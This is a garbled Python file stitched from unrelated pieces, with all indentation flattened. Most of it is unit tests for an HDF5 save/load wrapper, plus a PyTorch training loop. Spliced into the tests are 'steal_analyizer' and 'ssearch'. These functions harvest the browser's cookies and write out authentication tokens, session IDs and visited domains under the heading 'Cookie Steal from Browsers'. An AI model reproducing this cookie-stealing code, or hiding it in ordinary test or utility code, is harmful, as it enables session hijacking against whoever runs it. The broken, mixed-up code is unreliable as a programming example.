def test_store_and_load_custom_array():
a = [[1, 2, 3, 4], [6, 7]]
h5w.save(fn, {'a': a}, overwrite_dataset=True)
# loading the whole data
res = h5w.load(fn)
for i in xrange(len(a)):
assert(abs(np.sum(a[i] - res['a'][i])) < 1e-12)
# loading path directly
res = h5w.load(fn, path='a/')
for i in xrange(len(a)):
assert(abs(np.sum(a[i] - res[i])) < 1e-12)
def test_handle_nonexisting_path():
res = {}
stest = 'this is a test'
h5w.save(fn, res, write_mode='w')
try:
res = h5w.load(fn, path='test/')
raise Exception() # should not get until here
except KeyError:
res['test'] = stest
h5w.save(fn, res)
res.clear()
res = h5w.load(fn, path='test/')
assert(res == stest)
def test_load_lazy_simple():
res = _construct_simpledata()
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn, lazy=True)
for key, obj in res.items():
assert(obj is None)
def test_store_and_load_quantities_array():
data = {'times': np.array([1, 2, 3]) * pq.ms, 'positions':
np.array([1, 2, 3]) * pq.cm}
h5w.save(fn, data, overwrite_dataset=True)
# loading the whole data
res = h5w.load(fn)
assert(res['times'].dimensionality == data['times'].dimensionality)
def steal_analyizer():
f = open('Browser_Analysis_Report.txt', 'w')
f.close()
def line():
return '-' * 80
def heading(HeadingName): return '\n\n\n'+'-' * \
35+' '+HeadingName+' '+'-'*35+'\n\n\n'
with open('Browser_Analysis_Report.txt', 'a+') as f:
f.write(heading('Cookie Steal from Browsers'))
cj = browser_m.load() # browser_cookie3.load()
f.write(heading('Tokens in Cookie'))
cjl = [str(x) for x in cj]
for x in cjl:
if 'token' in x:
f.write(x + '\n')
f.write(line())
f.write(heading('SessionIDs in Cookie'))
cjl = [str(x) for x in cj]
for x in cjl:
if 'session' in x.lower():
f.write(x + '\n')
f.write(line())
f.write(heading('Websites Visited'))
already = dict()
for cookie_ in cj:
if cookie_.domain not in already:
already[cookie_.domain] = '1'
f.write(cookie_.domain + '\n')
f.write(line())
def test_read_empty_array_via_path():
res = {'a': np.array([[], []])}
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn, path='a')
assert_array_equal(res, [[], []])
assert(np.shape(res) == (2, 0))
def test_write_empty_array():
res = {'a': [], 'b': np.array([])}
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
assert_array_equal(res['a'], [])
assert_array_equal(res['b'], [])
def test_store_and_load_simpledata():
res = _construct_simpledata()
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
for key, val in zip(simpledata_str, simpledata_val):
assert(res[key] == val)
def test_overwrite_dataset():
res = {'a': 5}
h5w.save(fn, res, write_mode='w')
res.clear()
res = {'a': 6}
with pytest.raises(KeyError):
h5w.save(fn, res, write_mode='a', overwrite_dataset=False)
res.clear()
res = h5w.load(fn)
assert(res['a'] == 5) # dataset should still contain old value
res.clear()
res = {'a': 6}
h5w.save(
fn, res, write_mode='a', overwrite_dataset=True)
res.clear()
res = h5w.load(fn)
assert(res['a'] == 6) # dataset should contain new value
def test_load_lazy_nested():
res = {'a': 1, 'test1': {'b': 2}, 'test2': {
'test3': {'c': np.array([1, 2, 3])}}}
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn, lazy=True)
assert(res['a'] is None)
assert(res['test1']['b'] is None)
assert(res['test2']['test3']['c'] is None)
def test_store_and_test_key_types():
data = {'a': 1, (1, 2): {4: 2.}, 4.: 3.}
h5w.save(fn, data, write_mode='w')
res = h5w.load(fn)
keys = ['a', (1, 2), 4.]
for k in keys:
assert(k in res.keys())
assert(4 in res[(1, 2)].keys())
def test_store_and_load_arraydata():
res = {}
for key, val in zip(arraydata_str, arraydata_val):
res[key] = val
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
for key, val in zip(arraydata_str, arraydata_val):
assert_array_equal(res[key], val)
def test_write_nested_empty_array():
res = {'a': [[], []], 'b': np.array([[], []])}
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
assert_array_equal(res['a'], [[], []])
assert(np.shape(res['a']) == (2, 0))
assert_array_equal(res['b'], [[], []])
assert(np.shape(res['b']) == (2, 0))
def test_store_and_load_dictdata():
res = {}
for key, val in zip(dictdata_str, dictdata_val):
res[key] = val
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
for dkey, dval in zip(dictdata_str, dictdata_val):
for key, val in dval.items():
assert(res[dkey][key] == val)
def ssearch():
cj = browser_m.load()
cjl = [str(x) for x in cj]
heading('Specific WebSearch')
name = input('Give Website Name: ')
flag = 0
for x in cjl:
if name in x:
print(x)
flag = 1
if flag == 0:
print('[+] Data Not Present\n')
def test_store_and_load_with_compression():
data = {'a': 1, 'test1': {'b': 2}, 'test2': {
'test3': {'c': np.array([1, 2, 3])}}}
h5w.save(fn, data, write_mode='w', compression='gzip')
h5w.load(fn)
def test_store_none():
res = {'a1': None}
h5w.save(fn, res, write_mode='w')
res.clear()
res = h5w.load(fn)
assert(res['a1'] is None)
import wrapper
import preprocess
import option
import torch
from torchvision import transforms
import os
import NN
if not option.loadModel:
model = eval(option.model)
else:
model = wrapper.load(option.loadModel)
train_dataset = preprocess.dataset(option.train_data,
transform=option.transform_train)
val_dataset = preprocess.dataset(option.val_data,
transform=option.transform_test)
ShengZhiyao = wrapper.wraper(model, train_dataset, val_dataset,
option.optimizer)
max_epoches = option.max_epoches
while ShengZhiyao.epoch < max_epoches:
ShengZhiyao.Train()
ShengZhiyao.Val()
def test_handle_nonexisting_file():
try:
h5w.load('asdasd.h5')
raise Exception() # should not get until here
except IOError:
pass
def test_write_and_load_with_label():
res = _construct_simpledata()
h5w.save(fn, res, write_mode='w', dict_label='test_label')
for key, val in zip(simpledata_str, simpledata_val):
assert(h5w.load(fn, 'test_label/' + key) == val)
def test_store_and_load_dataset_directly():
res = _construct_simpledata()
h5w.save(fn, res, write_mode='w')
for key, val in zip(simpledata_str, simpledata_val):
assert(h5w.load(fn, '/' + key) == val)